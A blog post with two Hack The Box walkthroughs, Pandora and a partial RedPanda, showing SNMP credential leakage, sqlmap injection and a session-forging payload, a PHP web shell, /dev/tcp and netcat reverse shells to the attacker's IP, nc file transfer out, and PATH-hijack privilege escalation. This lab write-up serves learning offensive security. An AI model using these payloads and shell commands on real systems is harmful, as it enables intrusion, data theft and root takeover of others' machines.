Hack The Box – Pandora

Pandora is an easy retired box created by TheCyberGeek and dmw0ng from Hack The Box. Hello world, welcome to haxez where today we’re looking at Pandora. I don’t know much about this machine other than it’s a Linux box, so let’s get cracking. For those who accidentally stumbled upon this writeup looking for the CTF writeup, I’m sorry. I’m going through all the easy boxes and this was the next one alphabetically.

Enumerating Pandora

After pinging the box to ensure that it was online, I ran a Nmap scan to enumerate all ports. As shown below, Pandora had ports 22 for SSH and 80 for HTTP open. Furthermore, the responses indicate that it is an Ubuntu-based box.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo nmap -sC -sV -p- 10.129.238.192 -oA pandora
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 07:39 GMT
Nmap scan report for 10.129.238.192
Host is up (0.015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA)
| 256 b1417799469a6c5dd2982fc0329ace03 (ECDSA)
|_ 256 e736433ba9478a190158b2bc89f65108 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds

Enumerating Pandora Website

We all know that it’s unlikely to be an SSH attack so let’s go take a look at the web application. Therefore, I popped the IP address in my browser and the page loaded. As shown below, the application appears to be for a network monitoring service.

Enumerating Pandora Website

However, we do notice a domain of ‘panda.htb’ on the front page. Let’s add that to our host file and see if we get a different page.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo echo "10.129.238.192 panda.htb" | sudo tee -a /etc/hosts
10.129.238.192 panda.htb

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.129.136.31 office.paper
10.129.136.31 chat.office.paper
10.129.238.192 panda.htb

Unfortunately, the website doesn’t change when visiting the domain name. Furthermore, there isn’t a lot on the web page for us to target. There is a contact form but that doesn’t appear to allow us to do much. Perhaps we missed something on our initial port scan.

Back To Enumerating

As we haven’t found much on the web, let’s run another port scan but this time we will target UDP. Initially, we only performed a TCP scan as UDP tends to take a long time to enumerate. UDP is stateless which means we don’t SYN SYN ACK ACK with. We just blast it with data and hope it gets the message. As you can imagine, that means it’s difficult to identify open ports. Anyway, we discovered that port 161 for SNMP is open.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo nmap -sU 10.129.238.192 --min-rate 1000 -T4 -oA pandora-udp
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 07:56 GMT
Nmap scan report for panda.htb (10.129.238.192)
Host is up (0.012s latency).
Not shown: 989 open|filtered udp ports (no-response)
PORT STATE SERVICE
161/udp open snmp
1031/udp closed iad2
1044/udp closed dcutility
1080/udp closed socks
16739/udp closed unknown
19600/udp closed unknown
20380/udp closed unknown
31337/udp closed BackOrifice
34580/udp closed unknown
49172/udp closed unknown
51554/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds

Enumerating Pandora SNMP

I’m not being very creative with the titles this morning but let’s go and enumerate SNMP. SNMP is a service that allows for network monitoring. It also has well-known passwords or strings. Furthermore, it is quite common that these default strings are left in place. We can try to perform an SNMP walk against the host to view the data. However, there is a couple of things we should do first like installing ‘snmp-mibs-downloader’

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo apt install snmp-mibs-downloader

Once installed, head to your SNMP configuration in ‘/etc/snmp/snmp.conf’ and comment out the ‘mibs’ line.

Enumerating Pandora SNMP

Next, we can run ‘snmpbulkwalk’ which is faster than the traditional ‘snmpwalk’ tool. I’ve snipped the output but below but you can see the command I ran, which I stole from IppSec’s video.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ snmpbulkwalk -Cr1000 -c public -v2c 10.129.238.192 . | tee -a snmp3
SNMPv2-MIB::sysDescr.0 = STRING: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (244685) 0:40:46.85
SNMPv2-MIB::sysContact.0 = STRING: Daniel
SNMPv2-MIB::sysName.0 = STRING: pandora
SNMPv2-MIB::sysLocation.0 = STRING: Mississippi
SNMPv2-MIB::sysServices.0 = INTEGER: 72

Sorting SNMP Output

Attempting to sort this myself without watching a video was a futile effort. First, I didn’t really know what I was looking for. Additionally, my grep-fu is nowhere near as strong as IppSec’s. I definitely need to take my ass over to OverTheWire and brush up on a few things. Who has the time though when I have all these boxes to hack? Anyway, you can see the grep sort command below.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ grep -oP '::.*?\.' snmp3 | sort | uniq -c | sort -n
--snip--
201 ::hrSWRunID.
201 ::hrSWRunIndex.
201 ::hrSWRunName.
201 ::hrSWRunParameters.
201 ::hrSWRunPath.
201 ::hrSWRunPerfCPU.
201 ::hrSWRunPerfMem.
201 ::hrSWRunStatus.
201 ::hrSWRunType.
396 ::nsModuleModes.
396 ::nsModuleName.
396 ::nsModuleTimeout.
820 ::hrSWInstalledDate.
820 ::hrSWInstalledID.
820 ::hrSWInstalledIndex.
820 ::hrSWInstalledName.
820 ::hrSWInstalledType.
--snip--

This allows us to show the SNMP names in order of their reoccurrence in the output. I wasn’t too sure what I was supposed to be looking at here but apparently, it was the ‘hrSWRun’. We can use the grep and ‘less’ tools to filter the output. Also, here are some useful ‘less’ commands from StackExchange.

Sorting SNMP Output

By using grep to search for ‘hrSWRun’ and piping it to less we can scroll through the output. Or we can repeatedly hit ‘d’ to jump half a page which makes it faster. Eventually, we find ‘hrSWRunParameters’ which has some interesting information. It seems the user daniel is running a script called ‘host_check’ and was kind enough to leave their credentials behind.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ grep hrSWRun snmp3| less
--snip--
HOST-RESOURCES-MIB::hrSWRunParameters.963 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.972 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.974 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.975 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"
HOST-RESOURCES-MIB::hrSWRunParameters.976 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
HOST-RESOURCES-MIB::hrSWRunParameters.978 = ""
HOST-RESOURCES-MIB::hrSWRunParameters.1011 = STRING: "-o -p -- \\u --noclear tty1 linux"
HOST-RESOURCES-MIB::hrSWRunParameters.1027 = STRING: "-k start
--snip--

Pandora Foothold

Now that we have some credentials, we can try to SSH to the box. Success, we’re able to access the box with those credentials. Unfortunately, it seems that daniel has nothing in his home directory that includes no user flag. It looks like that’s in matt’s home directory so we’re going to have to find a way to his user or to root but at least we have a foothold.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ ssh [email protected]
daniel@pandora:~$ ls /home/daniel
daniel@pandora:~$
daniel@pandora:~$ ls /home/matt
user.txt

Authenticated Pandora Enumeration

I span up a Python webserver and used it to transfer LinPEAS to the box. Then, I ran it as the daniel user and there are two CVEs that will potentially allow us to escalate our privileges to root. However, I think these are unintended probably due to the box being made before the discovery of the vulnerabilities. I have this ultimate power in my grasp but I’m not going to use it. Let’s try and stick to the intended path.

Authenticated Pandora Enumeration

Moving on, we can see that there is another domain within the apache2 pandora configuration file. The name of the site is ‘pandora.panda.htb’. We can add that host to our host file but visiting it just loads the existing page as this host is only listening on localhost.

Pandora Backup

Pandora Port Forwarding

We know that we have a hidden web application listening on localhost on port 80. In order to access that host we need to forward port 80 on the target to our host on a different port. This can be done through ssh by issuing the following command.

┌──(kali㉿kali)-[~]
└─$ ssh -L localhost:8000:localhost:80 [email protected]
[email protected]'s password:

Then when we visit localhost 8000 in our browser, we get access to the hidden website.

Hidden Website

I tried default credentials and credential reuse on daniel but I was unable to login. Using searchsploit to search for vulnerabilities doesn’t find much. However, there appears to be an SQL injection vulnerability which is explained at the following URL https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/

SQL Injection Vulnerability

This SQL injection is present because the SQL statement doesn’t use prepared statements as you can see below. Normally, you would use a question mark in place of the parameters. It’s probably best to go and read about prepared statements elsewhere as I will do a terrible job of explaining them.

SQL

Lets capture a request ‘/pandora_console/include/chart_generator.php?session_id=1’ with Burp and then save that request to file.

Burp

We can then use SQLMap against the request and try to identify the SQL injection.

SQL Injection

As shown in the output below, SQLMap has identified a number of SQL injection vulnerabilities in the session_id parameter.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo sqlmap -r pand.req
[sudo] password for kali:
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

sqlmap identified the following injection point(s) with a total of 251 HTTP(s) requests:
---
Parameter: session_id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: session_id=-4413' OR 8445=8445#

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: session_id=1' OR (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x717a716a71,(SELECT (ELT(4708=4708,1))),0x7176767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tRCY

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: session_id=1' AND (SELECT 7661 FROM (SELECT(SLEEP(5)))msho)-- jpVE

Now that we have confirmed SQL injection, let’s quickly go through enumerating the database, tables, and columns and eventually dumping the data. First, we start with the database names.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo sqlmap -r pand.req --batch -dbs
___
__H__
___ ___["]_____ ___ ___ {1.7.2#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
--snip--
available databases [2]:
[*] information_schema
[*] pandora
--snip

Now that we have the database names, we can grab the table names from the database.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo sqlmap -r pand.req --batch -D pandora --tables
___
__H__
___ ___[(]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
--snip--
Database: pandora
[178 tables]
SQL Injection

Ok, we now have the table names and I believe the table we need to look at is the ‘tsuario’ so let’s dump the column. I’ve snipped the output a bit to make it smaller but it looks like we have a lot of columns here.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo sqlmap -r pand.req --batch -D pandora -T tusuario --columns
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
--snip--
Database: pandora
Table: tusuario
SQL Injection

Let’s just dump the table and take a look at the output.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo sqlmap -r pand.req --batch -D pandora -T tusuario --dump
___
__H__
___ ___[']_____ ___ ___ {1.7.2#stable}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Database: pandora
Table: tusuario
[3 entries]
[09:50:36] [INFO] table 'pandora.tusuario' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/pandora/tusuario.csv'
[09:50:36] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'

The output is an absolute mess but fortunately, it saved it to a CSV file for us. Let’s go take a look at it.

Excel

Unfortunately, none of the users dumped is an admin user. We could try and crack matt’s password but let’s try and steal the admin user’s session instead.

Stealing and Creating Sessions

Let’s head to the sessions table and dump the contents of that. Perhaps the admin user has an active session that we can steal. We would do this by stealing the value of the id_session and creating a cookie for it with that value.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ sudo sqlmap -r pand.req --batch -D pandora -T tsessions_php --dump
___
__H__
___ ___[']_____ ___ ___ {1.7.2#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Database: pandora
Table: tsessions_php
SQL Injection

Unfortunately, it seems that there are no admin sessions. Time to see what the pros did in order to get passed this part. I understand what the SQL injection is doing but I don’t understand why this works. Since there was no admin session in this table, how were we able to steal it and log in? I don’t have the answer but anyway, the URL below will grant us access.

http://localhost:8000/pandora_console/include/chart_generator.php?session_id=1%27union%20select%201,2,%27id_usuario|s:5:%22admin%22;%27--%20-

Next, open a new tab and visit the application and we will be logged in as admin.

Admin login

Catching Shells

Now we need to get a reverse shell as this user so that we have higher privileges on the server than daniel. First, create a PHP file with a command shell. Then we can use the file manager upload feature to load the shell.

<?PHP
system($_REQUEST['cmd']);
?>
PHP Shell Upload

Fortunately, there appears to be no validation on the things we upload. The file was uploaded successfully so we should now be able to pass arguments to that PHP shell in order to catch a reverse shell. First, let’s test whether our shell is working by finding out who we are.

User ID

Let’s use this to get ourselves a reverse shell. First, grab the ‘cmd=id’ request in Burp and send it to Repeater. Next, change the request method so that it is a POST request instead of a GET request. You can now use this method to set up your reverse shell and get access to the box. I was following along with IppSec but for some reason, it didn’t like the way he was doing it. So instead, I created a script called ‘rev.sh’ and used wget to download it.

Listing

I then used ‘chmod +x rev.sh’ to make it executable. Please note, I had to URL encode that request as it didn’t work without doing so. I then used ‘bash ./rev.sh’ to execute it and get a reverse shell. This too had to be URL encoded for it to work.

Pandora Running Reverse Shell

We now have access to the box as matt and we have our user flag.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.238.192] 43908
bash: cannot set terminal process group (1027): Inappropriate ioctl for device
bash: no job control in this shell
matt@pandora:/var/www/pandora/pandora_console/images$ whoami
whoami
matt
matt@pandora:/var/www/pandora/pandora_console/images$ cat /home/matt/user.txt
cat /home/matt/user.txt
a16e863b13ef23e70c1e8163b4b52023

Further Pandora Enumeration

First things first, Let’s make our shell better.

matt@pandora:/var/www/pandora/pandora_console/images$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ges$ python3 -c 'import pty;pty.spawn("/bin/bash")'
matt@pandora:/var/www/pandora/pandora_console/images$ ^Z
zsh: suspended sudo nc -lvnp 9001

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1] + continued sudo nc -lvnp 9001
matt@pandora:/var/www/pandora/pandora_console/images$

Done, if we run lLinPEAS again as matt we can see that there is an interesting file owned by root but also part of the matt group. Furthermore, this binary has the SUID bit set so this is likely the intended path to root.

Pandora SUID

Let’s download this file using netcat and see what’s going on. First, we use netcat to send the binary to our local machine. I thought this was cool so I wanted to include it. Plus we don’t have strings on the target box.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ nc -lvnp 9002 > pandora_backup
listening on [any] 9002 ...

Now we need to push the file through to our local machine from the target.

matt@pandora:/tmp$ nc 10.10.14.126 9002 < /usr/bin/pandora_backup
nc 10.10.14.126 9002 < /usr/bin/pandora_backup

Then we MD5 sum both the files and compare the hashes to make sure they are the same.

┌──(kali㉿kali)-[~/HTB/Pandora]
└─$ md5sum pandora_backup
172b42e4a9c9de0d155c357c733ff80f pandora_backup

matt@pandora:/tmp$ md5sum /usr/bin/pandora_backup
md5sum /usr/bin/pandora_backup
172b42e4a9c9de0d155c357c733ff80f /usr/bin/pandora_backup

Running strings on the binary we can see that it is calling tar without an absolute path. This means we can create our own tar binary with any command we want. Then, we can change our path to the location of the tar binary so that when the script is executed, it runs our command.

Pandora Tar binary

I tried to exploit this with our current shell but there is something off with it. I threw an SSH key into Matt’s authorized keys and logged in as Matt via SSH.

Pandora Privilege Escalation

We already know how to escalate our privileges so let’s do it. First, we need to tell the system that our path is going to be ‘/tmp’.

matt@pandora:/tmp$ export PATH=/tmp:$PATH

Now we need a payload so let’s echo the path to bash into a file called tar and make that file executable.

matt@pandora:/tmp$ echo /bin/bash > tar
matt@pandora:/tmp$ cat tar
/bin/bash
matt@pandora:/tmp$ chmod +x tar

Finally, we can run the pandora_backup binary that’s owned by root and has SUID set. We are now root and have access to the root.txt flag.

matt@pandora:/tmp$ /usr/bin/pandora_backup 
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
root@pandora:/tmp# id
uid=0(root) gid=1000(matt) groups=1000(matt)
root@pandora:/tmp# cat /root/root.txt
5d1ea2b90f7827c0b7e4f1caba9f9d92

Pandora Review

On reflection, this wasn’t a difficult box but I think we went about it in a difficult way. I think if we had cracked Matt’s password or stolen Matt’s session then I would have found it easier. The privilege escalation was easy enough but the path to Matt seemed overly complex but I don’t think it was the intended way. Anyway, I enjoyed it.

Hack The Box – RedPanda

Hello world and welcome to Haxez, today I will be taking on the “easy” Hack The Box Machine RedPanda. I put “easy” in quotes because attempting to beat this box was harder than a typical easy box. However, the last two I have completed have both been more difficult than I have come to expect. This box requires some web enumeration and knowledge of SSTI or Service Side Template Injection. Then it gets crazy and I will do my best to explain it when we get there. Please be advised that I couldn’t solve this without the official walkthrough and IppSec’s video. As such, the techniques you see will not be unique.

RedPanda Enumeration

First things first, let’s find out what we’re dealing with. I ran Nmap against the box targeting all ports, requesting service versions and I put the ‘-A’ flag on there to show this RedPanda that I wasn’t messing around. After a while, the scan came back and ports 22 for ssh and 8080 for HTTP were open. I’ve snipped a bunch of the output off as it wasn’t of much value.

┌─[joe@parrot]─[~]
└──╼ $sudo nmap -sC -sV -O -A 10.129.247.33
[sudo] password for joe:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 10:44 GMT
Nmap scan report for 10.129.247.33
Host is up (0.034s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
8080/tcp open http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|_ Request</h1></body></html>
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 30.70 ms 10.10.14.1
2 62.13 ms 10.129.247.33
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.62 seconds

Panda Power

As HTTP was the only thing for us to investigate, I opened Firefox and started poking around. Sites like this remind me of the old internet. When everyone had a website just for fun and not just for commerce. This website is for photos of Red Pandas… that’s it. How cool is that, bring the old internet back. Anyway, looking around the site there didn’t appear to be much functionality.

RedPanda Application

However, there was a search functionality that I used to gather more information about the technologies in use. As you can see below, I captured the request in Burp and changed the HTTP request method from POST to GET. Consequently, this produced an error message which revealed the type of application in use. The error message reports “Whitelabel Error Page” which when googled reveals that it’s a Spring Boot error.

RedPanda Error Page

Fuzzy Panda

I used ffuf to fuzz the application to find special characters that caused the application to error. Identically to IppSec, I used the ‘SecLists/master/Fuzzing/special-chars.txt’ wordlist. As shown below, there were a number of characters that resulted in the application producing a 500 error. I’m not great at testing applications but I tend to check the response length, response time and HTTP response code for indications of a vulnerability. In order to do this, I save the request from burp and changed the value of the name parameter to FUZZ. This way ffuf can identify what needs to be fuzzed.

RedPanda Fuzzing Post
┌─[joe@parrot]─[~/RedPanda]
└──╼ $ffuf -request search.request -request-proto http -w special-chars.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
______________________________________________
:: Method : POST
:: URL : http://10.129.247.33:8080/search
:: Wordlist : FUZZ: special-chars.txt
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
:: Header : Referer: http://10.129.247.33:8080/
:: Header : Accept-Encoding: gzip, deflate
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Host: 10.129.247.33:8080
:: Header : Cache-Control: max-age=0
:: Header : Upgrade-Insecure-Requests: 1
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
:: Header : Origin: http://10.129.247.33:8080
:: Header : Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
:: Header : Connection: close
:: Data : name=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
| [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 121ms]
# [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 480ms]
; [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 499ms]
? [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 531ms]
~ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 551ms]
. [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 552ms]
/ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 514ms]
_ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 580ms]
- [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 580ms]
< [Status: 200, Size: 727, Words: 156, Lines: 29, Duration: 611ms]
( [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 598ms]
& [Status: 200, Size: 1039, Words: 205, Lines: 34, Duration: 615ms]
$ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 695ms]
> [Status: 200, Size: 727, Words: 156, Lines: 29, Duration: 698ms]
, [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 701ms]
^ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 675ms]
: [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 705ms]
[ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 712ms]
* [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 670ms]
' [Status: 200, Size: 728, Words: 156, Lines: 29, Duration: 713ms]
! [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 712ms]
= [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 688ms]
] [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 718ms]
" [Status: 200, Size: 729, Words: 156, Lines: 29, Duration: 719ms]
@ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 721ms]
) [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 729ms]
` [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 733ms]
\ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 735ms]
+ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 759ms]
{ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 759ms]
} [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 759ms]
Progress: [32/32]: Job [1/1]: 0 req/sec: Duration: [0:00:00]: Errors: 0

Server Side Template Injection

The majority of special characters were handled correctly. However, the backslash, plus symbol and squiggly brackets all produced a 500 error. Squiggly brackets can be used to perform Server Side Template Injection or SSTI attacks. SSTI is when the threat actor injects code into a server-side template that then gets processed by the server. For example, if you were to submit ‘{{7*7}}’ to the application and the response returned 49, you could presume that the application was susceptible to SSTI. Go to HackTricks for a better explanation.

In summary, we know that the technology being used is Spring Boot. Furthermore, we know that the application is likely vulnerable to Server Side Template Injection. Lucky for us, HackTricks have already done the work and have payloads for these exact conditions. The payload below, when executed should execute the id command on the server and return the results back in the response.

SSTI
SSTI Panda Style

RedPanda Pawhold

We have code execution via Server Side Template Injection. The next step was to leverage this to get a reverse shell. First, I created a bash script on my local host that would create a TCP connection back to my IP address on port 1337.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.126/1337 0>&1

Next, I span up a Python3 web server in the same directory as the bash script. I then visited the URL in my browser to confirm the script was accessible. I right-clicked the script and copied the URL.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then, I created a netcat listener on port 1337 so that when the script is executed on the target server, something is there to catch it when it makes the connection attempt.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $sudo nc -lvnp 1337
listening on [any] 1337 ...

I then modified the payload so that it would perform a ‘wget’ to the bash script and download it.

SSTI Reverse Shell
Burp

Submitting this command to the search box or via the name parameter in Burp appeared to do the trick. However, I had to change the permissions on the file before I could execute it. You could argue that I should have just used ‘chmod +x’ instead of ‘chmod 777’ but I don’t care, not my circus, not my pandas.

More payloads
More Burp

I sent one final request to the server to politely ask it to execute my script. The application hung.

Reverse Shell

But sure enough, I got a reverse shell. This dropped us into a shell as the ‘woodenk’ user. From here I was able to grab the user flag.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $sudo nc -lvnp 1337
[sudo] password for joe:
listening on [any] 1337 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.247.33] 44842
woodenk@redpanda:/tmp/hsperfdata_woodenk$ cat /home/woodenk/user.txt
cat /home/woodenk/user.txt
10a▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓caf

Things Get Really Hardcore

It was about this time that I had fallen into a false sense of security. I knew what I was doing, so far so good, this was easy. Well, things were about to take a turn. On easy Linx machines, I would normally expect to see a script that calls a binary without an absolute path. Or perhaps you have ‘sudo’ that lets you run a ‘SUID’ binary with a well-known escape. I would have even been happy with a kernel exploit. A well-known public exploits that you can find easily with tools like LinEnum or LinPEAS. NOPE!

Now that we have access to the box, we should upgrade our shell. We’re civilised human beings after all. Why wouldn’t we want the full features available to us? Using the Python stty trick I was able to upgrade my shell to a fully functional one.

woodenk@redpanda:/tmp/hsperfdata_woodenk$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<enk$ python3 -c 'import pty;pty.spawn("/bin/bash")'
woodenk@redpanda:/tmp/hsperfdata_woodenk$ ^Z
[1]+ Stopped sudo nc -lvnp 1337

┌─[✗]─[joe@parrot]─[~/RedPanda]
└──╼ $stty raw -echo

┌─[joe@parrot]─[~/RedPanda]
sudo nc -lvnp 1337
woodenk@redpanda:/tmp/hsperfdata_woodenk$ stty rows 36 cols 170
woodenk@redpanda:/tmp/hsperfdata_woodenk$ export TERM=xterm

RedPanda Authenticated Enumeration

Next, I threw LinEnum and LinPEAS onto my Python web server and downloaded them to /tmp on RedPanda. I made them executable and ran them. I found nothing! Not knowing what to do next, I downloaded the official walkthrough and visited Youtube. Using the official walkthrough I was able to locate the credentials stored in the following file. It’s odd that neither of the enumeration scripts found them. They were quite obviously credentials.

woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java

The credentials in that file were for the user ‘woodenk’ and provided SSH access to the box. However, it probably isn’t a good idea to SSH to the box. The reason why is that the application process that we hacked to get our reverse shell is a member of the logs group. The user ‘woodenk’ is not a member of the logs group. We will need this group’s permission to perform our privilege escalation (I think) and logging in via SSH will remove it from us. So while we’re logged in as ‘woodenk’ and shouldn’t be in the logs group, the process that we hacked is and thus we are in the logs group. I have no idea how that works.

Finding Files

By this point, I was lost completely and just following along with IppSec’s video. I will try to keep things short and sweet but if you want a detailed explanation of the privilege escalation, go watch his video. We start by looking for files that belong to the logs group. The output below shows that the file’s user owner is root but the group owner is logs. This is interesting.

woodenk@redpanda:find / -group logs 2>/dev/null
/opt/panda_search/redpanda.log
woodenk@redpanda:/opt/panda_search$ ls -laSh
total 48K
-rwxrwxr-x 1 root root 9.9K Jun 14 2022 mvnw
-rw-rw-r-- 1 root root 6.5K Feb 21 2022 mvnw.cmd
drwxrwxr-x 5 root root 4.0K Jun 14 2022 .
drwxr-xr-x 5 root root 4.0K Jun 23 2022 ..
drwxrwxr-x 3 root root 4.0K Jun 14 2022 .mvn
drwxrwxr-x 4 root root 4.0K Jun 14 2022 src
drwxrwxr-x 9 root root 4.0K Jun 22 2022 target
-rw-rw-r-- 1 root root 2.6K Apr 27 2022 pom.xml
-rw-rw-r-- 1 root logs 1 Mar 13 12:18 redpanda.log

So next we search for references to this log file in other locations on the system. There is likely to be a binary or script somewhere doing something with this log file. As you can see from the output below, there are two java applications that mention the redpanda.log file. One in the log parser app and one in panda_search app. I don’t know much about Java so a lot of this is new to me.

woodenk@redpanda:/opt/panda_search$ grep -R redpanda.log /
Binary file /opt/panda_search/target/classes/com/panda_search/htb/panda_search/RequestInterceptor.class matches
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java: FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
Binary file /opt/credit-score/LogParser/final/target/classes/com/logparser/App.class matches
